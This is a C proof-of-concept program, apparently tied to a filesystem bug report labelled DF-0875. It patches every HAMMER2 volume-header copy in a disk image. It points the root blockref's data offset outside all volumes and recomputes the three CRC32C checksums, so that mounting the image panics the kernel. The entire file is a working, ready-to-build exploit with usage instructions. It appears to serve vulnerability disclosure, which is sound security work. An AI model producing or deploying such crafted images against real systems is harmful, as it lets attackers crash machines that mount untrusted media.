DF-0875 / patch_image.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 | /* * patch_image.c - Craft a malicious HAMMER2 image that triggers the * hammer2_get_volume panic (DF-0875). * * Patches sroot_blockset.blockref[0].data_off to point at an offset * outside all mounted volumes, then recomputes the three volume-header * CRC32C values (ICRC1 sector-1, ICRC0 sector-0, ICRCVH whole-block) so * the kernel accepts the corrupted header on mount. * * Build: cc -O2 -o patch_image patch_image.c * Run: ./patch_image <image-file> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <inttypes.h> /* ---- CRC32C (Castagnoli), matching kernel iscsi_crc32() ---- */ static uint32_t crc32c_table[256]; static void init_crc32c(void) { for (uint32_t i = 0; i < 256; i++) { uint32_t crc = i; for (int j = 0; j < 8; j++) crc = (crc >> 1) ^ (0x82F63B78u & (uint32_t)(-(int32_t)(crc & 1))); crc32c_table[i] = crc; } } static uint32_t crc32c(const uint8_t *buf, size_t len) { uint32_t crc = 0xFFFFFFFFu; for (size_t i = 0; i < len; i++) crc = (crc >> 8) ^ crc32c_table[(crc ^ buf[i]) & 0xFF]; return ~crc; } /* ---- HAMMER2 on-disk constants (from hammer2_disk.h) ---- */ #define H2_VOLUME_BYTES 65536 #define H2_ZONE_BYTES64 (2LL * 1024 * 1024 * 1024) #define H2_NUM_VOLHDRS 4 #define H2_VOL_ICRC0_OFF 0 #define H2_VOL_ICRC0_SIZE (512 - 4) /* 508 */ #define H2_VOL_ICRC1_OFF 512 #define H2_VOL_ICRC1_SIZE 512 #define H2_VOL_ICRCVH_OFF 0 #define H2_VOL_ICRCVH_SIZE (65536 - 4) /* 65532 */ #define H2_VOLUME_ID_HBO 0x48414d3205172011ULL /* data_off layout within sroot_blockset.blockref[0]: * blockset at volume offset 0x200; blockref is 128 bytes; data_off * field is at byte 32 within a blockref => file offset 0x220 */ #define DATA_OFF_OFF 0x220 /* Out-of-range target: 0x004000000000000E * high 58 bits = 0x0040000000000000 (1 PB) -- always outside any volume * low 6 bits = 0x0E (radix 14 => 16 KB block, non-zero so pbase!=0) */ #define BAD_DATA_OFF 0x004000000000000EULL int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "usage: %s <image>\n", argv[0]); return 2; } init_crc32c(); int fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return 1; } uint8_t *buf = malloc(H2_VOLUME_BYTES); if (!buf) { perror("malloc"); return 1; } int patched = 0; for (int i = 0; i < H2_NUM_VOLHDRS; i++) { off_t off = (off_t)i * H2_ZONE_BYTES64; ssize_t r = pread(fd, buf, H2_VOLUME_BYTES, off); if (r != H2_VOLUME_BYTES) { fprintf(stderr, "copy %d @0x%llx: short read (%zd) - skip\n", i, (unsigned long long)off, r); continue; } uint64_t magic; memcpy(&magic, buf, 8); if (magic != H2_VOLUME_ID_HBO) { fprintf(stderr, "copy %d @0x%llx: bad magic 0x%016" PRIx64 " - skip\n", i, (unsigned long long)off, magic); continue; } uint64_t orig_data_off; memcpy(&orig_data_off, buf + DATA_OFF_OFF, 8); uint8_t btype = buf[0x200]; fprintf(stderr, "copy %d @0x%llx: bref[0].type=%u data_off=0x%016" PRIx64 "\n", i, (unsigned long long)off, btype, orig_data_off); /* 1) corrupt data_off -> out-of-range offset, valid radix */ uint64_t tmp = BAD_DATA_OFF; memcpy(buf + DATA_OFF_OFF, &tmp, 8); /* 2) ICRC1 over sector 1 [512..1023] -> icrc_sects[6] @0x1F8 */ uint32_t crc1 = crc32c(buf + H2_VOL_ICRC1_OFF, H2_VOL_ICRC1_SIZE); memcpy(buf + 0x1E0 + 6 * 4, &crc1, 4); /* 3) ICRC0 over sector 0 [0..507] -> icrc_sects[7] @0x1FC * (must run AFTER storing ICRC1, since icrc_sects[6]@0x1F8 * falls within the ICRC0-covered range) */ uint32_t crc0 = crc32c(buf + H2_VOL_ICRC0_OFF, H2_VOL_ICRC0_SIZE); memcpy(buf + 0x1E0 + 7 * 4, &crc0, 4); /* 4) ICRCVH over whole block [0..65531] -> icrc_volheader @0xFFFC * (must run AFTER storing ICRC0, since icrc_sects[7]@0x1FC * falls within the ICRCVH-covered range) */ uint32_t crcvh = crc32c(buf + H2_VOL_ICRCVH_OFF, H2_VOL_ICRCVH_SIZE); memcpy(buf + 0xFFFC, &crcvh, 4); if (pwrite(fd, buf, H2_VOLUME_BYTES, off) != H2_VOLUME_BYTES) { perror("pwrite"); continue; } fprintf(stderr, "copy %d: PATCHED data_off=0x%016" PRIx64 " ICRC1=%08x ICRC0=%08x ICRCVH=%08x\n", i, tmp, crc1, crc0, crcvh); patched++; } free(buf); close(fd); fprintf(stderr, "patched %d volume-header copies\n", patched); return patched ? 0 : 1; } |